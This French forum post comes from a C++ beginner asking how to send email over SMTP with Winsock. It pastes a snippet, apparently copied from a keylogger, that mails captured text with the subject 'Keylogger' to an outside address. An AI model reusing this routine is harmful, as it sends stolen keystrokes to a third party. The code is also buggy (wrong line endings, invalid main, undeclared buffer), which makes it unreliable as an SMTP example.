Bonsoir à tous,
Alors voila, je me lance dans un projet en c++ pour me permettre d'apprendre le language. J'en arrive à un point ou j'ai besoin d'envoyer un mail donc connection smtp etc ... Par la suite je voudrais me connecter au serveur pop pour récupérer les mails mais j'y vais petit à petit![]()
Pour Infos : j'utilise Dev-cpp et je suis sous windows xp pro. Et j'utilise wxwidgets mais par manque de documentation j'ai abandonné pour les socket avec cette librairie.
Un amis m'a dit ceci :
tu fais un MX (Mail eXchanger) lookup
ça donne (par ex.) pamx.hotmail.com / smtp.wanadoo.fr / etc.
puis tu te connectes sur le port 25 à l'un de ces MX
puis tu fais : (> = envoi, < = réception)
> EHLO [nom-de-ton-ordi]
<
> MAIL FROM: <[adresse-e-mail]>
<
> RCPT TO: <[destinataire]>
<
> RCPT CC: <[destinataire]>
<
> RCPT BCC: <[destinataire]>
<
> DATA
< ... end by a "[*]" by itself > ... > ... > ... >[*] < > QUIT
dans ce que tu reçois, tu dois juste vérifier le 1er caractère de chaque ligne reçue, et ce que représente le[*] que tu devras renvoyer pour terminer le msg
et tu dois terminer toutes les lignes que t'envoies par un \r\n (le serveur en fait autant)
et pour le 1er caractère de chaque ligne reçue : 1 = je sais pas 2 = ok 3 = je sais pas 4 = erreur 5 = grave erreur
Mais meme ca, pour moi c'est pas très clair xD.
J'ai aussi écumé 999999 pages aujourd'hui et je n'ai pas avancé alors je sollicite votre aide pour m'indiquer des tutos ou des codes existant qui pourraient m'inspirer. (Si vous avez aussi quelquechose pour la récupération d'email sur les serveurs pop3 hein)
Je ne demande pas qu'on me fasse le code hein =), mais au moins un peu d'aide.
S'il vous manque des détails ou si mon post n'est pas très clair dites le moi =).
Ha aussi j'en suis à ce code la (récupéré je ne sais plus trop ou) :
mais pour chaque ligne le compilateur me dit : 3 D:\Dev-Cpp\project\mail\main.cpp `WORD' undeclared (first use this function)
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34 int main(char* body) { WORD sockVersion; WSADATA wsaData; sockVersion = MAKEWORD(2, 0); WSAStartup(sockVersion, &wsaData); LPHOSTENT hostEntry; hostEntry = gethostbyname("mail.firegates.com"); SOCKET smtpSocket; smtpSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); SOCKADDR_IN serverInfo; serverInfo.sin_family = AF_INET; serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list); serverInfo.sin_port = htons(25); connect(smtpSocket, (LPSOCKADDR)&serverInfo, sizeof(struct sockaddr)); send(smtpSocket, "helo\n\r", 6, 0); send(smtpSocket, "mail from:me@mail.com\n\r", strlen("mail from:me@mail.com\n\r"), 0); send(smtpSocket, "rcpt to:leyou@firegates.com\n\r", strlen("rcpt to:leyou@firegates.com\n\r"),0); send(smtpSocket, "data\n\r", 6, 0); send(smtpSocket, "subject:Keylogger\n\r", strlen("subject:Keylogger\n\r"), 0); sprintf(buffer1, "contenido:%s\n\r.\n\r", body); send(smtpSocket, buffer1, strlen("contenido:\n\r.\n\r")+strlen(body), 0); send(smtpSocket, "quit\n\r", 6,0 ); closesocket(smtpSocket); WSACleanup(); }
...
ca doit être idiot comme problème mais je suis un pauvre débutant dans le monde du c++ xD
En tous cas Merci beaucoup pour votre aide ou même de m'avoir lu !
Partager